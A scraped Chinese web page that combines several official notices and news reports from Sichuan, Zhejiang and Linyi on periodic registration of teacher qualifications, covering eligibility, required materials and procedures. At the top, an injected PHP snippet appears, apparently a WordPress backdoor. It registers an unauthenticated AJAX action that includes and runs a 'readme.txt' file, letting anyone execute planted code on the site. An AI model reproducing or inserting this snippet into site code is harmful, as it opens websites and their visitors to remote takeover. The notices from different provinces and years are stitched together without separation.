#p#副标题#e#
if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
#p#副标题#e#
为做好我省2023年中小学教师资格定期注册工作,根据《教师法》《教师资格条例》《中小学教师资格定期注册暂行办法》和《四川省教师资格认定事务中心关于做好2023年中小学教师资格定期注册工作的通知》(川教资发〔2023〕2号)精神,现就有关事宜公告如下:
一、对象范围
四川省行政区域内尚未进行首次注册或者5年注册周期有效期届满的公办幼儿园、小学、初级中学、高级中学、中等职业学校在编在岗教师。
按照市(州)级教育行政部门的规定纳入定期注册范围内依法举办的民办幼儿园、小学、初级中学、高级中学和中等职业学校在职在岗教师。
二、注册条件
(一)申请首次注册的,应当同时具备下列条件:
1.具有与任教岗位相应的教师资格;
2.聘用为中小学在编在岗教师或符合定期注册对象要求的民办学校聘用一年以上的教师;
3.遵守国家法律、法规,履行《教师法》规定的教师的义务,遵守《新时代中小学教师职业行为十项准则》《新时代幼儿园教师职业行为十项准则》和《中小学教师职业道德规范》,有良好的师德表现,达到教育行政部门规定的师德考核标准;
4.首次注册上一年度考核合格以上等次;
5.身心健康,能够胜任教育教学工作。
新进学校的人员首次注册,须试用期满且考核合格。
(二)申请定期注册的,应当同时具备下列条件:
1.遵守国家法律、法规,履行《教师法》规定的教师的义务,遵守《新时代中小学教师职业行为十项准则》《新时代幼儿园教师职业行为十项准则》和《中小学教师职业道德规范》,有良好的师德表现,达到教育行政部门规定的师德考核标准;
2.注册周期内,每年年度考核合格及以上等次;
3.注册周期内,完成不少于国家规定的360个培训学时或省级教育行政部门规定的等量学分;
4.身心健康,能够胜任教育教学工作。
(三)有下列情形之一的,暂缓注册:
1.中止教育教学和教育管理工作一学期及以上,影响到当年度教育教学考核的。但经学校和教育行政主管部门批准的进修学习、外出培训、学术交流、病假、产假等情形除外;
中止教育教学和教育管理工作一学期以上二学年以内,恢复教育教学和教育管理工作、达到注册条件的,在下一年度申请注册;
中止教育教学和教育管理工作二学年及以上恢复教育教学和管理工作的,重新首次注册。
2.在注册有效期内,未完成360个国家规定的教师继续教育培训学时或省级教育行政部门规定的等量学分的(含虽然完成培训学时但培训考核不合格的);
未完成360个国家规定的教师继续教育培训学时或省级教育行政部门规定的等量学分的,达到规定学时或学分后的下一年度申请注册。
3.注册周期内任何一年年度考核基本合格及以下合格等次的;
注册周期内年度考核不合格的(连续二年年度考核不合格的除外),从考核合格起重新计算注册周期,注册周期内考核合格,再申请注册。
(四)有下列情形之一的,注册不合格:
1.违反《中小学教师职业道德规范》和师德考核不合格,影响恶劣的;
2.在定期注册周期内,连续两年年度考核不合格的;
3.依法被撤销或丧失教师资格的;
4.无故未申请定期注册的。
三、办理材料
申请教师资格定期注册,应当提交以下材料:
1.《教师资格定期注册申请表》一式2份;
2.《教师资格证书》原件;
3.申请人所在学校或主管部门的“聘用合同”复印件;
4.申请人身心健康,能胜任教育教学工作的证明材料;
5.申请人“师德表现证明”或“师德考核评价合格证明”;
6.申请人五年的年度考核表或年度考核证明;
7.省级教育行政部门认可的“教师继续教育培训学时”或“等量学分”证明复印件;
8.市(州)教育行政部门根据当地实际要求提供的其他材料。
上述部分材料可由学校为教师统一出具,不需要教师本人提供,具体由各地教育行政部门根据实际在工作通知中予以明确。《教师资格定期注册申请表》和所有复印件,须经所在学校领导签字并加盖学校公章。
申请首次注册的,只需提供1、2、3、4、5、8项材料和首次注册前一年度考核表。
四、办理流程
(一)个人申请
根据定期注册机构工作要求,准备申请相关材料,进行网上申请。
网上报名时间:10月9日—10月31日。
报名登录网址:中国教师资格网www.jszg.edu.cn
(二)机构受理
根据定期注册机构要求,提交相关申请材料,机构核对申请材料是否完备、真实。
(三)机构审核
定期注册机构审核申请材料,作出定期注册结论。
(四)结果送达
定期注册机构在教师资格证书和定期注册申请表加盖注册结论章发放给申请人。
注意:教师资格定期注册须由本人申请,所在学校集体办理,按照人事隶属关系报县级以上教育行政部门审核。具体办理范围、办理地点和办理时间参见各级教师资格定期注册机构工作公告。
五、其他需要说明的问题
1.教师资格定期注册由申请人自行申报填写,信息需真实有效,如有虚假信息,根据《中小学教师资格注册暂行办法》第二十条“申请人隐瞒有关情况或提供虚假材料申请教师资格注册的,视情况暂缓注册或注册不合格,并给予相应处罚;已经注册的,应当撤销注册。”
2.在定期注册过程中如发现持有假证的,根据《教师资格条例》第十九条“有下列情形之一的,由县级以上人民政府教育行政部门撤销其教师资格:(一)弄虚作假、骗取教师资格的;被撤销教师资格的,自撤销之日起5年内不得重新申请认定教师资格,其教师资格证书由县级以上人民政府教育行政部门收缴。”
3.《教师资格证书》遗失的,能提供原认定时的《教师资格认定申请表》或在网上能够查询教师资格认定信息的,先按补办程序补办证书,然后再注册教师资格。
4. 一人一年只能对一本教师资格证书进行注册。有两种及以上教师资格证书的,仅对与现任教学段和学科一致的教师资格证书进行注册。
四川省教师资格认定事务中心
2023年9月21日
各有关学校:
按照省教育厅2017年将全面实施中小学教师资格定期注册制度的总体安排,根据《浙江省实施〈中小学教师资格定期注册暂行办法〉细则(试行)》(浙教师〔2016〕149号)、《浙江省教育厅办公室关于实施中小学教师资格定期注册制度的通知》(浙教办师〔2016〕107号)精神,结合我县实际,现将有关事项通知如下:
一、定期注册范围
我县2017年中小学教师资格注册对象为:已取得相应教师资格的普通中小学、幼儿园、特殊教育学校、中等职业学校在岗教师,包括与民办学校签订聘用合同的在岗教师。(新任教师在试用期满考核合格后申请首次注册)。
二、加强政策宣传
开展中小学教师资格定期注册是完善教师资格制度,健全教师管理机制,建设高素质专业化教师队伍的重要举措,各学校要充分认识教师资格定期注册制度的重要性和必要性。要认真组织全体教职工学习浙教师〔2016〕149号、浙教办师〔2016〕107号文件精神(附后),切实做好教师资格定期注册相关政策的解释与宣传工作,把定期注册的意义和政策传达到每一位需要参加注册的教师。坚持正确的舆论导向,使广大教师加深对建立教师资格定期注册制度意义的理解,营造自觉履行岗位职责、不断加强师德修养和学习培训、励志终身从教的良好氛围。
三、开展《教师资格证书》核实
为确保教师资格定期注册工作顺利进行,各学校要认真清理、核实所有教师《教师资格证书》中的所有信息,任何一项信息有误,都将无法进行个人网上注册。对《证书》遗失或损坏的填写《教师资格证书遗失、损坏登记表》(附件2),对《证书》和《申请表》所载信息不完全或信息错误的填写《教师资格认定信息数据更正表》(附件3),由各学校汇总后于2月28日前报县教育局人事科,电子稿发至wfn721002@163.com。对无《证书》、《申请表》,今年暂缓办理定期注册。
四、做好《教师资格证书》补发、换发工作
按规定,教师资格证书遗失、损毁影响使用或证书信息错误的,由持证人向原发证机关申请补发、换发或重发。教师资格认定机构依法履行职责,及时办理。对证书持有者所提交的证书补发、换发、重发申请材料认真审核和归档,在“教师资格信息管理系统”中做相应处理,并在其新证书最后一页备注页上注明补发、换发、重发原因和时间,并加盖公章;不重发证书的须在原教师资格证书最后一页备注页上注明证书更正信息。
附件:教师资格定期注册资料包
从临沂市教育局获悉,全市2016年中小学教师资格定期注册复审工作圆满完成,2269名教师通过复审。
据了解,中小学教师资格定期注册是对中小学教师入职后从教资格的定期核查。中小学教师资格实行5年一周期的定期注册。
今年教师资格定期注册工作于10月17日启动,注册对象为全市尚未进行教师资格定期注册的公办中小学在编在岗教师,其中2015年新入职教师占申报人数的96%。经个人网上申报、单位受理核实材料、县区教育局初审后,提交市教育局进行复审。复审完成后,提交山东省教师资格认定指导中心终审,通过后公布名单,发放定期注册贴。
据统计,临沂教师资格定期注册工作自2014年作为山东省试点率先开展以来,已完成注册公办普通中小学在编在职在岗教师93593人。
日前,省教育厅印发《浙江省实施〈中小学教师资格定期注册暂行办法〉细则(试行)》并发布通知,我省将于2017年春季开学后启动全省中小学教师资格定期注册工作,并于2017年6月30日前完成。
根据教育部《中小学教师资格定期注册暂行办法》规定,教师资格定期注册是对教师入职后从教资格的定期核查。中小学教师资格实行5年一周期的定期注册。定期注册不合格或逾期不注册的人员,不得从事教育教学工作。
为什么要实行教师资格定期注册制度?省教育厅师范处李敏强介绍说,长期以来,我国教师资格制度实行“终身制”,教师“只进不出”“干多干少一个样”,造成教师队伍结构不合理,制约了教师队伍的健康发展,也影响了广大教师的积极性。实行中小学教师资格定期注册制度,是贯彻《国家中长期教育改革和发展规划纲要(2010-2020年)》完善教师资格制度的重要举措,是建设高素质专业化教师队伍的重要任务,是建立健全中国特色教师管理制度的重要内容。
据了解,从2003年至今,我省面向社会认定取得教师资格人数累计达523843人,但在职教师持证上岗的情况却从来没有进行过完整的统计,这也是国家实行教师资格定期注册制度,完善并严格实施教师职业准入制度的重要原因之一。
申请首次注册的教师,应当具备哪些条件?根据要求,申请定期注册的教师要具有与任教岗位相应的教师资格;遵守国家法律法规和《中小学教师职业道德规范》,师德表现良好;上一年年度考核为合格及以上等次。其中,首次任教人员须试用期满且考核合格;完成教育行政部门规定的培训任务,培训考核合格;身心健康,胜任教育教学工作;以及满足当地教育行政部门规定的其他条件。
目前,我省中小学教师资格定期注册的对象为依法举办的普通中小学、幼儿园、中等职业学校的在岗教师。非教育行政部门主管的幼儿园、中等职业学校等在岗教师,经学校主管部门同意后,纳入定期注册范围。取得教师资格证,却没有从事中小学教育教学工作,暂不需要执行定期注册制度。
作为完善教师资格制度的国家试点,我省嘉兴市于2011年10月在全国率先启动中小学教师资格定期注册制度试点工作。2014年试点范围扩大至绍兴市、湖州市、舟山市及所辖各县(市、区)、温州市洞头县。从我省试点情况看,将教师资格定期注册试点与教师队伍建设工作紧密结合起来,取得了良好的效果,为国家推进中小学教师资格定期注册制度提供了“浙江经验”。
“注册制度有很好的激励作用,给地方校长管理教师多了一个抓手。”嘉兴市经开区教文体局副局长沈锋曾参与试点工作的开展,他表示,长期以来教师“铁饭碗”制度,即使有不合格者,学校也无可奈何,既不能也不敢将其辞退。注册制实行之后,校长可以对在教学岗位上不能达到教学要求进行暂缓注册。“教师注册其实更大意义是对教师入职后的一种管理,对加强教师管理,督促教师在取得教师资格后加强学习,提高教育教学能力水平,保持良好的师德,具有十分重要的意义。”

各市、县(市、区)教育局:
根据国家教育体制改革总体要求和《教育部办公厅关于开展中小学教师资格定期注册制度试点工作的通知》精神,我省在总结试点经验基础上,制定印发了《浙江省实施〈中小学教师资格定期注册暂行办法〉细则(试行)》(浙教师〔2016〕149号,以下简称《实施细则》),在全省范围实施中小学教师资格定期注册制度。为做好此项工作,现将有关事项通知如下:
一、实施范围、对象及步骤
我省实施中小学教师资格定期注册的对象为已取得相应教师资格的普通中小学、幼儿园、中等职业学校的在岗教师。其中非教育行政部门主管的幼儿园、中等职业学校等的在岗教师,经学校主管部门同意后,纳入定期注册范围。
为稳步推进注册制度,各地可根据实际情况分步推进。前期已开展定期注册试点工作的地区,按照《实施细则》规定范围全面实施,其他地区可先行开展普通中小学教师的教师资格定期注册。各地最迟于2018年底前覆盖到所有规定范围。
二、实施时间安排
(一)准备阶段。2016年12月31日前,各地制定完成实施中小学教师资格定期注册制度的具体工作方案,并报省教育厅审核。
(二)实施阶段。各地按照经省教育厅核准的工作方案,于2017年春季开学后启动中小学教师资格定期注册工作,并于2017年6月30日前完成。
(三)总结阶段。2017年7月31日前完成此次中小学教师资格定期注册工作总结,并报省教育厅。
2017年秋季开始,各地按照具体工作方案,每年按教育部规定时间开展一次中小学教师资格定期注册工作。
三、实施工作要求
(一)高度重视中小学教师资格定期注册制度的实施。各地要切实加强组织领导,建立由主要领导负责、责任处室和相关工作部门密切配合的工作机制,按照《教育部关于印发<中小学教师资格考试暂行办法><中小学教师资格定期注册暂行办法>的通知》、浙江省《实施细则》精神,以设区市为单位研究制定本地区实施中小学教师资格定期注册制度的具体工作方案。要做好政策衔接、解释和宣传工作,为全省范围内组织实施教师资格定期注册制度营造良好社会氛围,使广大教师理解、支持并主动参与到制度的实施中来,稳步推进中小学教师资格定期注册制度的实施。
(二)要妥善处理改革、发展和稳定的关系。关于定期注册结论体现形式和教师资格认定中遗留问题,按照教育部教师资格认定指导中心《关于定期注册结论体现形式及注册贴使用管理办法的通知》(教资字〔2014〕13号,见附件1)《关于印发〈教师资格认定特殊情况及不规范问题在中小学教师资格定期注册制度试点工作中的处理办法〉的通知》(教资字〔2016〕2号,见附件2)精神办理。
(三)请各地于2016年12月9日前将《教师资格定期注册工作联系人名单》(见附件3)报省教育厅师范处。在组织实施中遇到的问题,请及时与省教育厅师范教育处和省教育厅教师资格认定指导中心联系。
省教育厅师范处联系人:李敏强,电话:0571–88008920,电子信箱:zjedusfc@sina.com。省教育厅教师资格认定指导中心联系人:曾小意,电话:0571–88907593,电子信箱zengxy@zjzk.cn。
附件:1.关于定期注册结论体现形式及注册贴使用管理办法的通知
2.关于印发<教师资格认定特殊情况及不规范问题在中小学教师资格定期注册制度试点工作中的处理办法>的通知
浙江省教育厅办公室
2016年11月24日
